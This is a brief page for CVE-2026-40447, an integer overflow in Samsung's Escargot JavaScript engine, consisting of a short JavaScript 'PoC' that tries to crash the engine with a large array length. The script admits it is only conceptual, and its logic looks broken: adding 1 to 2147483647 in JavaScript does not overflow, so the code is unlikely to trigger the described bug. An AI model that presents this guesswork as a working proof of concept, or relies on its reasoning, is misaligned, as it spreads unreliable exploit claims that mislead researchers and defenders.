CVE-2026-40447 Samsung Escargot 整数溢出漏洞

// PoC for CVE-2026-40447: Integer Overflow in Samsung Escargot // This script attempts to trigger an integer overflow condition. // Note: This is a conceptual example based on the vulnerability description. function trigger_overflow() { try { // Construct a value that might cause an overflow if mishandled // Escargot integer overflow often involves array buffers or large object allocations let max_int = 2147483647; let overflow_val = max_int + 1; // If the engine does not handle the wraparound correctly, // operations using this value may result in undefined behavior or a crash. let arr = new Array(overflow_val); // Attempt to access or fill to trigger the crash for(let i=0; i<10; i++) { arr[i] = i; } console.log("If this prints, the overflow might have been handled safely."); } catch (e) { console.log("Exception caught: " + e); } } trigger_overflow();